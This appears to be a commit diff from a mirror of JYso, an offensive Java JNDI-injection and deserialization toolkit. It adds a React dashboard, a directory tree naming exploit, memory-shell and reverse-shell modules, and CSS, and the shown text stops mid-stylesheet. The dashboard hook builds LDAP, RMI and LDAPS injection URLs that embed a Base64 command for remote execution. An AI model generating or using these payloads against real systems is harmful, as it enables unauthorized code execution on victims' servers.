mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
fix: 前端大改5
This commit is contained in:
@@ -40,9 +40,6 @@
|
||||
|
||||
如果你有其他很棒的想法请务必告诉我!😎
|
||||
|
||||
## 🐯 编译
|
||||
|
||||
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
|
||||
|
||||
```shell
|
||||
./gradlew shadowJar
|
||||
|
||||
+129
-72
@@ -1,72 +1,129 @@
|
||||
├─.gradle Gradle构建配置文件
|
||||
│ ├─8.7
|
||||
│ │ ├─checksums
|
||||
│ │ ├─dependencies-accessors
|
||||
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
|
||||
│ │ │ ├─classes
|
||||
│ │ │ │ └─org
|
||||
│ │ │ │ └─gradle
|
||||
│ │ │ │ └─accessors
|
||||
│ │ │ │ └─dm
|
||||
│ │ │ └─sources
|
||||
│ │ │ └─org
|
||||
│ │ │ └─gradle
|
||||
│ │ │ └─accessors
|
||||
│ │ │ └─dm
|
||||
│ │ ├─executionHistory
|
||||
│ │ ├─expanded
|
||||
│ │ ├─fileChanges
|
||||
│ │ ├─fileHashes
|
||||
│ │ └─vcsMetadata
|
||||
│ ├─buildOutputCleanup
|
||||
│ └─vcs-1
|
||||
├─.idea IDEA配置信息文件
|
||||
│ ├─artifacts
|
||||
│ ├─codeStyles
|
||||
│ ├─inspectionProfiles
|
||||
│ └─libraries
|
||||
├─docs 有关文档
|
||||
├─gradle
|
||||
│ └─wrapper
|
||||
├─libs 第三方jar
|
||||
└─src
|
||||
├─main
|
||||
│ └─java
|
||||
│ └─com
|
||||
│ └─qi4l
|
||||
│ └─jndi
|
||||
│ ├─controllers JNDI路由逻辑
|
||||
│ │ └─utils
|
||||
│ ├─enumtypes
|
||||
│ ├─exceptions
|
||||
│ ├─exploit -cp 模式下的漏洞逻辑
|
||||
│ ├─gadgets 反序列化链
|
||||
│ │ ├─annotation
|
||||
│ │ ├─Config
|
||||
│ │ └─utils
|
||||
│ │ ├─beanshell
|
||||
│ │ ├─cc
|
||||
│ │ ├─clojure
|
||||
│ │ ├─dirty
|
||||
│ │ ├─handle
|
||||
│ │ ├─jdbc
|
||||
│ │ ├─jre
|
||||
│ │ └─utf8OverlongEncoding
|
||||
│ └─template
|
||||
│ ├─Agent Agent注入逻辑
|
||||
│ │ └─utli
|
||||
│ ├─echo 回显类
|
||||
│ └─memshell 内存shell逻辑
|
||||
│ ├─BypassNginxCDN
|
||||
│ ├─jboss
|
||||
│ ├─jetty
|
||||
│ ├─resin
|
||||
│ ├─shell
|
||||
│ ├─spring
|
||||
│ ├─struts2
|
||||
│ ├─tomcat
|
||||
│ ├─Tomcat_Spring_Jetty
|
||||
│ ├─weblogic
|
||||
│ └─Websphere
|
||||
└─test
|
||||
└─java
|
||||
.
|
||||
├── .gradle Gradle 构建缓存
|
||||
│ ├── 7.6.6 Gradle 版本缓存
|
||||
│ │ ├── checksums
|
||||
│ │ ├── dependencies-accessors
|
||||
│ │ ├── executionHistory
|
||||
│ │ ├── fileChanges
|
||||
│ │ ├── fileHashes
|
||||
│ │ └── gc.properties
|
||||
│ ├── buildOutputCleanup
|
||||
│ └── vcs-1
|
||||
├── .idea IDEA 配置
|
||||
│ ├── artifacts
|
||||
│ ├── codeStyles
|
||||
│ ├── inspectionProfiles
|
||||
│ └── libraries
|
||||
├── docs 项目文档
|
||||
│ └── directory_structure.md
|
||||
├── gradle
|
||||
│ └── wrapper Gradle Wrapper (7.6.6)
|
||||
├── libs 第三方 JAR
|
||||
├── src
|
||||
│ ├── main
|
||||
│ │ ├── frontend 前端 React 项目
|
||||
│ │ │ ├── public
|
||||
│ │ │ └── src
|
||||
│ │ ├── java
|
||||
│ │ │ └── com/qi4l/JYso
|
||||
│ │ │ ├── HTTPServer.java
|
||||
│ │ │ ├── LdapServer.java
|
||||
│ │ │ ├── LdapsServer.java
|
||||
│ │ │ ├── RMIServer.java
|
||||
│ │ │ ├── Starter.java
|
||||
│ │ │ ├── controllers JNDI/LDAP 控制器
|
||||
│ │ │ │ ├── BaseLdapController.java 公共基类
|
||||
│ │ │ │ ├── BasicController.java
|
||||
│ │ │ │ ├── ELProcessorController.java
|
||||
│ │ │ │ ├── GroovyController.java
|
||||
│ │ │ │ ├── LdapController.java 控制器接口
|
||||
│ │ │ │ ├── LdapMapping.java
|
||||
│ │ │ │ ├── MemoryXXEController.java
|
||||
│ │ │ │ ├── SerializedDataController.java
|
||||
│ │ │ │ ├── SnakeYamlController.java
|
||||
│ │ │ │ ├── XStreamController.java
|
||||
│ │ │ │ ├── jdbcController1.java
|
||||
│ │ │ │ ├── jdbcController2.java
|
||||
│ │ │ │ ├── ldap2rmiController.java
|
||||
│ │ │ │ ├── rmi RMI 工具类
|
||||
│ │ │ │ │ ├── Basic.java
|
||||
│ │ │ │ │ └── ELProcessor.java
|
||||
│ │ │ │ └── utils
|
||||
│ │ │ │ └── JNDIUtils.java
|
||||
│ │ │ ├── enumtypes
|
||||
│ │ │ │ ├── GadgetType.java
|
||||
│ │ │ │ ├── PayloadType.java
|
||||
│ │ │ │ └── WebsphereActionType.java
|
||||
│ │ │ ├── exceptions
|
||||
│ │ │ │ ├── IncorrectParamsException.java
|
||||
│ │ │ │ ├── UnSupportedActionTypeException.java
|
||||
│ │ │ │ ├── UnSupportedGadgetTypeException.java
|
||||
│ │ │ │ └── UnSupportedPayloadTypeException.java
|
||||
│ │ │ ├── exploit -cp 模式漏洞利用
|
||||
│ │ │ │ ├── JBoss.java
|
||||
│ │ │ │ ├── JMXInvokeMBean.java
|
||||
│ │ │ │ ├── JRMPClassLoadingListener.java
|
||||
│ │ │ │ ├── JRMPClient.java
|
||||
│ │ │ │ ├── JRMPListener.java
|
||||
│ │ │ │ ├── JSF.java
|
||||
│ │ │ │ ├── JenkinsCLI.java
|
||||
│ │ │ │ ├── JenkinsListener.java
|
||||
│ │ │ │ ├── JenkinsReverse.java
|
||||
│ │ │ │ └── RMIBindExploit.java
|
||||
│ │ │ ├── gadgets 反序列化 Gadget
|
||||
│ │ │ │ ├── ObjectPayload.java
|
||||
│ │ │ │ ├── ReleaseableObjectPayload.java
|
||||
│ │ │ │ ├── SignedObject.java
|
||||
│ │ │ │ ├── annotation 注解
|
||||
│ │ │ │ │ ├── Authors.java
|
||||
│ │ │ │ │ └── Dependencies.java
|
||||
│ │ │ │ ├── Config 全局配置
|
||||
│ │ │ │ │ ├── Config.java
|
||||
│ │ │ │ │ ├── MemShellPayloads.java
|
||||
│ │ │ │ │ └── ysoserial.java
|
||||
│ │ │ │ ├── utils 工具类
|
||||
│ │ │ │ │ ├── Gadgets.java
|
||||
│ │ │ │ │ ├── Reflections.java
|
||||
│ │ │ │ │ ├── Serializer.java
|
||||
│ │ │ │ │ ├── Utils.java
|
||||
│ │ │ │ │ ├── ... (ByteUtil, ClassFiles, HexUtils, InjShell 等)
|
||||
│ │ │ │ │ ├── beanshell/
|
||||
│ │ │ │ │ ├── cc/
|
||||
│ │ │ │ │ ├── clojure/
|
||||
│ │ │ │ │ ├── dirty/
|
||||
│ │ │ │ │ ├── handle/
|
||||
│ │ │ │ │ ├── jre/
|
||||
│ │ │ │ │ └── utf8OverlongEncoding/
|
||||
│ │ │ │ └── *.java 各 Gadget 链实现
|
||||
│ │ │ ├── template 模板类
|
||||
│ │ │ │ ├── ClassLoaderTemplate.java
|
||||
│ │ │ │ ├── DefineClassFromParameter.java
|
||||
│ │ │ │ ├── HideMemShellTemplate.java
|
||||
│ │ │ │ ├── Meterpreter.java
|
||||
│ │ │ │ ├── ReverseShellTemplate.java
|
||||
│ │ │ │ └── Template.java
|
||||
│ │ │ └── web Web 控制台
|
||||
│ │ │ ├── JYsoWebApplication.java
|
||||
│ │ │ ├── ApiAuthFilter.java
|
||||
│ │ │ ├── AuthServlet.java
|
||||
│ │ │ ├── JettyApiServlet.java
|
||||
│ │ │ ├── RequestLogCollector.java
|
||||
│ │ │ ├── SpaFallbackFilter.java
|
||||
│ │ │ ├── StaticResourceServlet.java
|
||||
│ │ │ └── config/
|
||||
│ │ │ ├── JYsoWebPasswordProvider.java
|
||||
│ │ │ └── WebPasswordGenerator.java
|
||||
│ │ └── resources 资源文件
|
||||
│ │ ├── application.properties
|
||||
│ │ ├── log4j2.xml
|
||||
│ │ └── static/ 前端打包产出
|
||||
│ └── test 测试代码
|
||||
│ └── java
|
||||
│ ├── Main.java
|
||||
│ └── com/example/demo/demos/web
|
||||
│ ├── Test.java
|
||||
│ └── secCig.java
|
||||
├── build.gradle Gradle 构建脚本
|
||||
├── settings.gradle Gradle 项目设置
|
||||
├── README.md
|
||||
└── README.en.md
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
#Thu Apr 23 23:23:32 CST 2026
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionPath=wrapper/dists
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.4-bin.zip
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.6-bin.zip
|
||||
zipStoreBase=GRADLE_USER_HOME
|
||||
zipStorePath=wrapper/dists
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
import { useState, useCallback } from 'react'
|
||||
|
||||
const CheckIcon = () => (
|
||||
<svg width="16" height="16" viewBox="0 0 16 16" fill="none">
|
||||
<path d="M3 8l3 3 7-7" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round"/>
|
||||
</svg>
|
||||
)
|
||||
|
||||
const CopyIcon = () => (
|
||||
<svg width="16" height="16" viewBox="0 0 16 16" fill="none">
|
||||
<rect x="5" y="5" width="9" height="9" rx="1.5" stroke="currentColor" strokeWidth="1.5"/>
|
||||
<path d="M3 11V3h8" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round"/>
|
||||
</svg>
|
||||
)
|
||||
|
||||
export default function CopyButton({ text, className = '', title = 'Copy to clipboard' }) {
|
||||
const [copied, setCopied] = useState(false)
|
||||
|
||||
const handleCopy = useCallback(async () => {
|
||||
if (!text) return
|
||||
try {
|
||||
await navigator.clipboard.writeText(text)
|
||||
setCopied(true)
|
||||
setTimeout(() => setCopied(false), 2000)
|
||||
} catch { /* ignore */ }
|
||||
}, [text])
|
||||
|
||||
return (
|
||||
<button
|
||||
className={`copy-btn ${className}`}
|
||||
onClick={handleCopy}
|
||||
title={title}
|
||||
aria-label={copied ? 'Copied' : title}
|
||||
>
|
||||
{copied ? <CheckIcon /> : <CopyIcon />}
|
||||
</button>
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
import { useState, useCallback, createContext, useContext } from 'react'
|
||||
|
||||
const ToastContext = createContext(null)
|
||||
|
||||
let toastId = 0
|
||||
|
||||
export function ToastProvider({ children }) {
|
||||
const [toasts, setToasts] = useState([])
|
||||
|
||||
const showToast = useCallback((message, type = 'success') => {
|
||||
const id = ++toastId
|
||||
setToasts(prev => [...prev, { id, message, type }])
|
||||
setTimeout(() => {
|
||||
setToasts(prev => prev.filter(t => t.id !== id))
|
||||
}, 3200)
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<ToastContext.Provider value={{ showToast }}>
|
||||
{children}
|
||||
<div className="toast-container">
|
||||
{toasts.map(t => (
|
||||
<div key={t.id} className={`toast toast-${t.type}`}>
|
||||
{t.message}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</ToastContext.Provider>
|
||||
)
|
||||
}
|
||||
|
||||
export function useToast() {
|
||||
const ctx = useContext(ToastContext)
|
||||
if (!ctx) throw new Error('useToast must be inside ToastProvider')
|
||||
return ctx
|
||||
}
|
||||
@@ -0,0 +1,331 @@
|
||||
import { useState, useEffect, useMemo, useCallback, useRef } from 'react'
|
||||
import { useNavigate } from 'react-router-dom'
|
||||
import {
|
||||
getStatus, toggleServer, getGadgets,
|
||||
generatePayload as apiGenerate, updateConfig, setAuthToken, getLogs,
|
||||
getFiles, downloadFile, deleteFile as apiDeleteFile,
|
||||
uploadFile
|
||||
} from '../api'
|
||||
|
||||
const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
|
||||
|
||||
const DEFAULT_CONFIG = {
|
||||
ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
|
||||
AESkey: '123', user: '', PASSWD: '', TLSProxy: false, keyPass: '', certFile: ''
|
||||
}
|
||||
|
||||
export default function useDashboard() {
|
||||
const navigate = useNavigate()
|
||||
const [mode, setMode] = useState('jndi')
|
||||
const [animKey, setAnimKey] = useState(0)
|
||||
const [status, setStatus] = useState({})
|
||||
const [loading, setLoading] = useState(false)
|
||||
const [toggling, setToggling] = useState(null)
|
||||
const [activeJndiTab, setActiveJndiTab] = useState('config')
|
||||
const [gadgets, setGadgets] = useState([])
|
||||
const [gadgetSearch, setGadgetSearch] = useState('')
|
||||
const [selectedGadget, setSelectedGadget] = useState('')
|
||||
const [payloadCmd, setPayloadCmd] = useState('')
|
||||
const [payloadResult, setPayloadResult] = useState('')
|
||||
const [encodeBase64, setEncodeBase64] = useState(true)
|
||||
const [showAdvanced, setShowAdvanced] = useState(false)
|
||||
const [inherit, setInherit] = useState(false)
|
||||
const [obscure, setObscure] = useState(false)
|
||||
const [dcfp, setDcfp] = useState('')
|
||||
const [dirtyType, setDirtyType] = useState('')
|
||||
const [dirtyLength, setDirtyLength] = useState('')
|
||||
const [noComSun, setNoComSun] = useState(false)
|
||||
const [mozillaClassLoader, setMozillaClassLoader] = useState(false)
|
||||
const [rhino, setRhino] = useState(false)
|
||||
const [utf8Overlong, setUtf8Overlong] = useState(false)
|
||||
const [payloadSubTab, setPayloadSubTab] = useState('gadget')
|
||||
const [gadgetOpen, setGadgetOpen] = useState(false)
|
||||
const [jndiPayloadResult, setJndiPayloadResult] = useState('')
|
||||
const [rmiPayloadResult, setRmiPayloadResult] = useState('')
|
||||
const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
|
||||
const [jndiGadgetInput, setJndiGadgetInput] = useState('')
|
||||
const [gadgetModeInput, setGadgetModeInput] = useState('')
|
||||
const [saveFilename, setSaveFilename] = useState('')
|
||||
const [filePath, setFilePath] = useState('')
|
||||
const [classLoaderResult, setClassLoaderResult] = useState('')
|
||||
const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
|
||||
const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
|
||||
const [routing, setRouting] = useState('ELProcessor')
|
||||
const [routingOpen, setRoutingOpen] = useState(false)
|
||||
const [logLines, setLogLines] = useState([])
|
||||
const [logLoading, setLogLoading] = useState(false)
|
||||
const logEndRef = useRef(null)
|
||||
const [files, setFiles] = useState([])
|
||||
const [filesLoading, setFilesLoading] = useState(false)
|
||||
const [dragOver, setDragOver] = useState(false)
|
||||
const [uploading, setUploading] = useState(false)
|
||||
const fileInputRef = useRef(null)
|
||||
const [configForm, setConfigForm] = useState({ ...DEFAULT_CONFIG })
|
||||
|
||||
const filteredGadgets = useMemo(() => {
|
||||
if (!gadgetSearch) return gadgets
|
||||
return gadgets.filter(g => g.name.toLowerCase().includes(gadgetSearch.toLowerCase()))
|
||||
}, [gadgetSearch, gadgets])
|
||||
|
||||
const switchMode = useCallback((next) => {
|
||||
if (next === mode) return
|
||||
setMode(next)
|
||||
setAnimKey(k => k + 1)
|
||||
}, [mode])
|
||||
|
||||
async function loadStatus() {
|
||||
try {
|
||||
const res = await getStatus()
|
||||
setStatus(res.data)
|
||||
setConfigForm(prev => ({
|
||||
...prev,
|
||||
ip: res.data.ip || '',
|
||||
ldapPort: res.data.ldapPort || 1389,
|
||||
ldapsPort: res.data.ldapsPort || 1669,
|
||||
httpPort: res.data.httpPort || 3456,
|
||||
rmiPort: res.data.rmiPort || 1099,
|
||||
AESkey: res.data.AESkey || '123',
|
||||
user: res.data.user || '',
|
||||
PASSWD: res.data.PASSWD || '',
|
||||
TLSProxy: res.data.TLSProxy || false,
|
||||
keyPass: res.data.keyPass || '',
|
||||
certFile: res.data.certFile || ''
|
||||
}))
|
||||
} catch (e) {
|
||||
if (e.response && e.response.status === 401) {
|
||||
setAuthToken(null)
|
||||
navigate('/login', { replace: true })
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function loadGadgets() {
|
||||
try {
|
||||
const res = await getGadgets()
|
||||
setGadgets(res.data)
|
||||
} catch (e) { /* ignore */ }
|
||||
}
|
||||
|
||||
async function handleToggleServer(server) {
|
||||
setToggling(server)
|
||||
try {
|
||||
const res = await toggleServer(server)
|
||||
if (res.data.success) {
|
||||
setStatus(res.data.status)
|
||||
}
|
||||
} catch (e) { /* ignore */ }
|
||||
finally { setToggling(null) }
|
||||
}
|
||||
|
||||
async function handleSaveConfig() {
|
||||
setLoading(true)
|
||||
try {
|
||||
await updateConfig(configForm)
|
||||
loadStatus()
|
||||
} catch (e) { /* ignore */ }
|
||||
finally { setLoading(false) }
|
||||
}
|
||||
|
||||
async function handleGeneratePayload() {
|
||||
const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
|
||||
if (!gadgetName) return
|
||||
setLoading(true)
|
||||
try {
|
||||
const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename, encodeBase64,
|
||||
inherit, obscure, dcfp, dirtyType, dirtyLength, noComSun, mozillaClassLoader, rhino, utf8Overlong })
|
||||
if (res.data.success) {
|
||||
setPayloadResult(res.data.message || 'Payload generated successfully')
|
||||
if (res.data.saved) fetchFiles()
|
||||
} else {
|
||||
setPayloadResult('Error: ' + (res.data.error || 'unknown'))
|
||||
}
|
||||
} catch (e) {
|
||||
setPayloadResult(e.response?.data?.error || 'Failed to generate payload')
|
||||
} finally { setLoading(false) }
|
||||
}
|
||||
|
||||
function handleGenerateJndiPayload() {
|
||||
const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
|
||||
if (!gadgetName || !payloadCmd) return
|
||||
setLoading(true)
|
||||
setJndiPayloadResult('')
|
||||
setRmiPayloadResult('')
|
||||
setLdapsPayloadResult('')
|
||||
try {
|
||||
const bytes = new TextEncoder().encode(payloadCmd)
|
||||
const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
|
||||
const ipAddr = configForm.ip || '0.0.0.0'
|
||||
const ldapPort = configForm.ldapPort || 1389
|
||||
const rmiPort = configForm.rmiPort || 1099
|
||||
const ldapsPort = configForm.ldapsPort || 1669
|
||||
|
||||
setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
||||
setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
||||
setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
||||
} catch (e) { /* ignore */ }
|
||||
finally { setLoading(false) }
|
||||
}
|
||||
|
||||
function handleGenerateClassLoader() {
|
||||
const fp = filePath.trim()
|
||||
const route = routing.trim()
|
||||
if (!fp || !route) return
|
||||
setLoading(true)
|
||||
setClassLoaderResult('')
|
||||
setRmiClassLoaderResult('')
|
||||
setLdapsClassLoaderResult('')
|
||||
if (!fp.toLowerCase().endsWith('.class')) {
|
||||
setLoading(false)
|
||||
return
|
||||
}
|
||||
try {
|
||||
const ipAddr = configForm.ip || '0.0.0.0'
|
||||
const ldapPort = configForm.ldapPort || 1389
|
||||
const rmiPort = configForm.rmiPort || 1099
|
||||
const ldapsPort = configForm.ldapsPort || 1669
|
||||
|
||||
setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`)
|
||||
setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`)
|
||||
setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`)
|
||||
} catch (e) { /* ignore */ }
|
||||
finally { setLoading(false) }
|
||||
}
|
||||
|
||||
function logout() {
|
||||
setAuthToken(null)
|
||||
navigate('/login', { replace: true })
|
||||
}
|
||||
|
||||
async function fetchLogs() {
|
||||
setLogLoading(true)
|
||||
try {
|
||||
const res = await getLogs(100)
|
||||
setLogLines(res.data.logs || [])
|
||||
} catch { /* ignore */ }
|
||||
finally { setLogLoading(false) }
|
||||
}
|
||||
|
||||
useEffect(() => { loadStatus(); loadGadgets() }, [])
|
||||
|
||||
useEffect(() => {
|
||||
if (mode !== 'gadget') return
|
||||
fetchFiles()
|
||||
}, [mode])
|
||||
|
||||
async function fetchFiles() {
|
||||
setFilesLoading(true)
|
||||
try {
|
||||
const res = await getFiles()
|
||||
setFiles(res.data)
|
||||
} catch { /* ignore */ }
|
||||
finally { setFilesLoading(false) }
|
||||
}
|
||||
|
||||
async function handleDownloadFile(name) {
|
||||
try {
|
||||
const res = await downloadFile(name)
|
||||
const url = window.URL.createObjectURL(new Blob([res.data]))
|
||||
const a = document.createElement('a')
|
||||
a.href = url
|
||||
a.download = name
|
||||
a.click()
|
||||
window.URL.revokeObjectURL(url)
|
||||
} catch { /* ignore */ }
|
||||
}
|
||||
|
||||
async function handleDeleteFile(name) {
|
||||
if (!confirm(`Delete ${name}?`)) return
|
||||
try {
|
||||
await apiDeleteFile(name)
|
||||
fetchFiles()
|
||||
} catch { /* ignore */ }
|
||||
}
|
||||
|
||||
function handleDragOver(e) {
|
||||
e.preventDefault()
|
||||
e.stopPropagation()
|
||||
setDragOver(true)
|
||||
}
|
||||
|
||||
function handleDragLeave(e) {
|
||||
e.preventDefault()
|
||||
e.stopPropagation()
|
||||
setDragOver(false)
|
||||
}
|
||||
|
||||
function handleDrop(e) {
|
||||
e.preventDefault()
|
||||
e.stopPropagation()
|
||||
setDragOver(false)
|
||||
const droppedFiles = e.dataTransfer.files
|
||||
if (droppedFiles.length > 0) {
|
||||
doUpload(droppedFiles[0])
|
||||
}
|
||||
}
|
||||
|
||||
function handleFileSelect(e) {
|
||||
const selectedFiles = e.target.files
|
||||
if (selectedFiles.length > 0) {
|
||||
doUpload(selectedFiles[0])
|
||||
}
|
||||
e.target.value = ''
|
||||
}
|
||||
|
||||
async function doUpload(file) {
|
||||
setUploading(true)
|
||||
try {
|
||||
const formData = new FormData()
|
||||
formData.append('file', file)
|
||||
const res = await uploadFile(formData)
|
||||
if (res.data.success) {
|
||||
fetchFiles()
|
||||
}
|
||||
} catch (e) { /* ignore */ }
|
||||
finally {
|
||||
setUploading(false)
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
if (activeJndiTab !== 'logs') return
|
||||
fetchLogs()
|
||||
const id = setInterval(fetchLogs, 2000)
|
||||
return () => clearInterval(id)
|
||||
}, [activeJndiTab])
|
||||
|
||||
useEffect(() => {
|
||||
if (logEndRef.current) logEndRef.current.scrollIntoView({ behavior: 'smooth' })
|
||||
}, [logLines])
|
||||
|
||||
return {
|
||||
mode, animKey, switchMode,
|
||||
status, toggling, handleToggleServer,
|
||||
activeJndiTab, setActiveJndiTab,
|
||||
gadgets, gadgetSearch, setGadgetSearch, selectedGadget, setSelectedGadget, filteredGadgets,
|
||||
payloadCmd, setPayloadCmd, payloadResult, setPayloadResult,
|
||||
encodeBase64, setEncodeBase64,
|
||||
showAdvanced, setShowAdvanced,
|
||||
inherit, setInherit, obscure, setObscure,
|
||||
dcfp, setDcfp, dirtyType, setDirtyType, dirtyLength, setDirtyLength,
|
||||
noComSun, setNoComSun, mozillaClassLoader, setMozillaClassLoader,
|
||||
rhino, setRhino, utf8Overlong, setUtf8Overlong,
|
||||
payloadSubTab, setPayloadSubTab,
|
||||
gadgetOpen, setGadgetOpen,
|
||||
jndiPayloadResult, rmiPayloadResult, ldapsPayloadResult,
|
||||
jndiGadgetInput, setJndiGadgetInput,
|
||||
gadgetModeInput, setGadgetModeInput,
|
||||
saveFilename, setSaveFilename,
|
||||
filePath, setFilePath,
|
||||
classLoaderResult, rmiClassLoaderResult, ldapsClassLoaderResult,
|
||||
routing, setRouting, routingOpen, setRoutingOpen, ROUTING_OPTIONS,
|
||||
logLines, logLoading, fetchLogs, logEndRef,
|
||||
files, filesLoading, fetchFiles,
|
||||
dragOver, setDragOver, uploading, fileInputRef,
|
||||
configForm, setConfigForm,
|
||||
loading, setLoading,
|
||||
handleSaveConfig, handleGeneratePayload, handleGenerateJndiPayload, handleGenerateClassLoader,
|
||||
logout,
|
||||
handleDownloadFile, handleDeleteFile,
|
||||
handleDragOver, handleDragLeave, handleDrop, handleFileSelect
|
||||
}
|
||||
}
|
||||
+160
-16
@@ -790,27 +790,38 @@ select {
|
||||
}
|
||||
|
||||
.log-container {
|
||||
background: #0d1117;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 12px;
|
||||
padding: 12px;
|
||||
background: var(--bg-input);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 14px;
|
||||
padding: 14px;
|
||||
max-height: 380px;
|
||||
overflow-y: auto;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 11px;
|
||||
font-size: 12px;
|
||||
line-height: 1.65;
|
||||
transition: background var(--transition-fluid), border-color var(--transition-fluid);
|
||||
}
|
||||
|
||||
.log-line {
|
||||
color: #c9d1d9;
|
||||
color: var(--text-secondary);
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
padding: 1px 0;
|
||||
padding: 2px 0;
|
||||
}
|
||||
|
||||
.log-line:nth-child(odd) {
|
||||
background: rgba(0, 0, 0, 0.02);
|
||||
border-radius: 4px;
|
||||
padding: 2px 6px;
|
||||
margin: 0 -6px;
|
||||
}
|
||||
|
||||
[data-theme="dark"] .log-line:nth-child(odd) {
|
||||
background: rgba(255, 255, 255, 0.03);
|
||||
}
|
||||
|
||||
.log-empty {
|
||||
color: #8b949e;
|
||||
color: var(--text-muted);
|
||||
text-align: center;
|
||||
padding: 32px 0;
|
||||
font-family: 'Inter', sans-serif;
|
||||
@@ -907,31 +918,164 @@ select {
|
||||
}
|
||||
|
||||
.file-upload-zone {
|
||||
border: 2px dashed var(--border);
|
||||
border-radius: 8px;
|
||||
border: 2px dashed var(--border-color);
|
||||
border-radius: 14px;
|
||||
padding: 18px;
|
||||
text-align: center;
|
||||
cursor: pointer;
|
||||
transition: all .2s;
|
||||
transition: all var(--transition-fast);
|
||||
margin-bottom: 10px;
|
||||
color: var(--text-muted);
|
||||
font-size: 13px;
|
||||
font-family: 'Inter', sans-serif;
|
||||
}
|
||||
.file-upload-zone:hover {
|
||||
border-color: var(--primary);
|
||||
color: var(--primary);
|
||||
border-color: var(--accent);
|
||||
color: var(--accent);
|
||||
background: var(--accent-glow);
|
||||
}
|
||||
.file-upload-zone.drag-over {
|
||||
border-color: var(--primary);
|
||||
background: rgba(99, 102, 241, 0.08);
|
||||
color: var(--primary);
|
||||
border-color: var(--accent);
|
||||
background: var(--accent-glow);
|
||||
color: var(--accent);
|
||||
}
|
||||
.file-upload-zone.uploading {
|
||||
opacity: 0.6;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: var(--text-muted);
|
||||
border-radius: 3px;
|
||||
opacity: 0.4;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb:hover {
|
||||
background: var(--text-secondary);
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-corner {
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.toast-container {
|
||||
position: fixed;
|
||||
top: 20px;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
z-index: 1000;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 8px;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.toast {
|
||||
pointer-events: auto;
|
||||
padding: 12px 20px;
|
||||
border-radius: 14px;
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
backdrop-filter: blur(24px) saturate(180%);
|
||||
-webkit-backdrop-filter: blur(24px) saturate(180%);
|
||||
box-shadow: var(--card-shadow-lg);
|
||||
animation: toastSlideIn 320ms cubic-bezier(0.22, 0.1, 0, 1) both, toastFadeOut 320ms cubic-bezier(0.22, 0.1, 0, 1) 2800ms forwards;
|
||||
max-width: 420px;
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
.toast-success {
|
||||
background: var(--success-bg);
|
||||
color: var(--success);
|
||||
border: 1px solid var(--success);
|
||||
}
|
||||
|
||||
.toast-error {
|
||||
background: var(--danger-bg);
|
||||
color: var(--danger);
|
||||
border: 1px solid var(--danger);
|
||||
}
|
||||
|
||||
@keyframes toastSlideIn {
|
||||
from { opacity: 0; transform: translateY(-12px) scale(0.96); }
|
||||
to { opacity: 1; transform: translateY(0) scale(1); }
|
||||
}
|
||||
|
||||
@keyframes toastFadeOut {
|
||||
from { opacity: 1; transform: translateY(0) scale(1); }
|
||||
to { opacity: 0; transform: translateY(-8px) scale(0.96); }
|
||||
}
|
||||
|
||||
.mode-switch-enter {
|
||||
animation: modeSwitchIn 380ms cubic-bezier(0.22, 0.1, 0, 1) both;
|
||||
}
|
||||
|
||||
.mode-switch-exit {
|
||||
animation: modeSwitchOut 280ms cubic-bezier(0.22, 0.1, 0, 1) both;
|
||||
}
|
||||
|
||||
@keyframes modeSwitchIn {
|
||||
from { opacity: 0; transform: translateY(16px) scale(0.98); }
|
||||
to { opacity: 1; transform: translateY(0) scale(1); }
|
||||
}
|
||||
|
||||
@keyframes modeSwitchOut {
|
||||
